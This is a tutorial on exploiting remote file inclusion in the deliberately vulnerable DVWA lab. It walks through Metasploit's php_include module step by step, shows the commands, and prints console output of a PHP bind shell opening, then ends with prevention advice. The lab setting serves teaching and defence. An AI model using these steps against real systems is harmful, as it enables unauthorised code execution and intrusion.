A simple security flaw can allow an attacker to gain a strong foothold with little effort on their part. When a web application permits remotely hosted files to be loaded without any validation, a whole can of worms is opened up, with consequences ranging from simple website defacement to full-on code execution. For this reason, RFI can be a promising path to obtaining a shell.
Today, we will be using DVWA, a vulnerable web application included with the Metasploitable 2 virtual machine, as the target. Kali Linux and the Metasploit Framework will serve as the tools of attack.
Remote file inclusion (RFI) is a type of vulnerability found in web applications that allows an attacker to supply a remote file to the application. The file can be dynamically processed in a variety of ways, including code execution on the server, disclosure of sensitive information, and client-side code execution.
RFI occurs when the path of a file taken as input is not properly sanitized, allowing an external URL to be processed over HTTP. This type of vulnerability presents itself most commonly in PHP applications, but it can also be found in ASP, JSP, and other technologies.
In this guide, we will be exploiting an RFI vulnerability to get a command shell on the target system.
Before we get started, we need to configure a few things in order for this attack to be successful. First, start Metasploitable and log in using msfadmin as the credentials. Next, on Kali, open DVWA in the browser and navigate to the "DVWA Security" tab. Set the security level to low.
Back on Metasploitable, we need to make sure a couple settings are enabled in the PHP configuration file for demonstration purposes. The allow_url_fopen option allows access to files on remote hosts or servers, while the allow_url_include option allows a remote file to utilize a URL rather than a local file path. These settings can be found in the php.ini file, so let's edit it to make sure they are enabled with:
sudo nano /etc/php5/cgi/php.ini
Press Ctrl-W to search for the string "allow_url," and ensure that allow_url_fopen and allow_url_include are both set to On. Press Ctrl-X, Y, and Enter to save the file. Finally, restart the Apache server by entering the following command:
sudo /etc/init.d/apache2 restart
Next, we need to create a test file to check for RFI. On our Kali machine, create the file in /var/www/html so it's accessible from a web browser.
Enter some text, like "Vulnerable to RFI!" and save the file. Now, restart Apache and we should be good to go.
service apache2 restart
In order to check if an RFI vulnerability exists, we can simply ask the web application in question to retrieve the file we created earlier. Go to the "File Inclusion" page in DVWA, and replace the page being requested with the path of our test file being hosted on Kali.
When the page loads, we can see the text from our test file, indicating that this page is indeed vulnerable to RFI.
From here, we could try to invoke a shell manually by uploading an appropriate script, but there's a handy Metasploit module that makes this process even easier.
The first thing we need to do is obtain some cookie information for this exploit to work smoothly. In DVWA, reload the page and use "Inspect Element" to view the request.
We will need the cookie information containing the security level and session ID in just a bit.
Fire up Metasploit by typing msfconsole in the terminal. We will be using the php_include module; locate it by entering search php_include. Now type use exploit/unix/webapp/php_include to load the module. From here, we can take a look at the settings:
msf exploit(unix/webapp/php_include) > options Module options (exploit/unix/webapp/php_include): Name Current Setting Required Description ---- --------------- -------- ----------- HEADERS no Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2" PATH / yes The base directory to prepend to the URL to try PHPRFIDB /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL PHPURI no The URI to request, with the include parameter changed to XXpathXX POSTDATA no The POST data to send, with the include parameter changed to XXpathXX Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Automatic
First, set the target address to Metasploitable's IP address. Next, set the headers option to the cookie value that we obtained earlier. We also need to set the path to the base directory of the page, followed by the specific URI to request. Metasploit will automatically know the endpoint to attack by replacing the parameter with XXpathXX.
msf exploit(unix/webapp/php_include) > set rhost 172.16.1.102 rhost => 172.16.1.102 msf exploit(unix/webapp/php_include) > set headers "Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee" headers => Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee msf exploit(unix/webapp/php_include) > set path /dvwa/vulnerabilities/fi/ path => /dvwa/vulnerabilities/fi/ msf exploit(unix/webapp/php_include) > set phpuri /?page=XXpathXX phpuri => /?page=XXpathXX
Now we're ready to choose a payload.
msf exploit(unix/webapp/php_include) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline php/bind_perl normal PHP Command Shell, Bind TCP (via Perl) php/bind_perl_ipv6 normal PHP Command Shell, Bind TCP (via perl) IPv6 php/bind_php normal PHP Command Shell, Bind TCP (via PHP) php/bind_php_ipv6 normal PHP Command Shell, Bind TCP (via php) IPv6 php/download_exec normal PHP Executable Download and Execute php/exec normal PHP Execute Command php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager php/meterpreter/bind_tcp_ipv6 normal PHP Meterpreter, Bind TCP Stager IPv6 php/meterpreter/bind_tcp_ipv6_uuid normal PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support php/meterpreter/bind_tcp_uuid normal PHP Meterpreter, Bind TCP Stager with UUID Support php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP Stager php/meterpreter/reverse_tcp_uuid normal PHP Meterpreter, PHP Reverse TCP Stager php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline php/reverse_perl normal PHP Command, Double Reverse TCP Connection (via Perl) php/reverse_php normal PHP Command Shell, Reverse TCP (via PHP) php/shell_findsock normal PHP Command Shell, Find Sock
Set this to a simple PHP bind shell, and type run to launch the exploit.
msf exploit(unix/webapp/php_include) > set payload php/bind_php payload => php/bind_php msf exploit(unix/webapp/php_include) > run [*] 172.16.1.102:80 - Using URL: http://0.0.0.0:8080/VTve3BEQtgo [*] 172.16.1.102:80 - Local IP: http://172.16.1.100:8080/VTve3BEQtgo [*] 172.16.1.102:80 - PHP include server started. [*] Started bind TCP handler against 172.16.1.102:4444 [*] Command shell session 1 opened (172.16.1.100:37679 -> 172.16.1.102:4444) at 2018-09-05 11:48:37 -0500 id uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
A session is opened and we can issue commands like id and uname -a to view information about the system now that we have a shell.
RFI can be a particularly nasty vulnerability, especially when an attacker can get a shell and execute commands like we demonstrated. Luckily, preventing RFI is easier than you think.
The most effective method of prevention is to avoid including files as user-supplied input altogether. This will drastically reduce the attack surface, making it nearly impossible for an opponent to include malicious files. If this isn't feasible, a whitelist of files allowed to be included can be utilized by the application.
In any case, modern versions of PHP will typically disable the allow_url_include option by default, which prevents attackers from including malicious files remotely.
Like many other vulnerabilities found in web applications, RFI stems from the practice of poor user input sanitation — in this case, file paths allowing a remote file to be loaded by the application. This can lead to dangerous effects, such as sensitive information disclosure and code execution. We learned how to test for this vulnerability and ultimately got a shell on the target using a helpful Metasploit module. Although RFI can occur in different types of applications, the number of outdated and insecure PHP applications on the web makes this particular vulnerability worth exploring.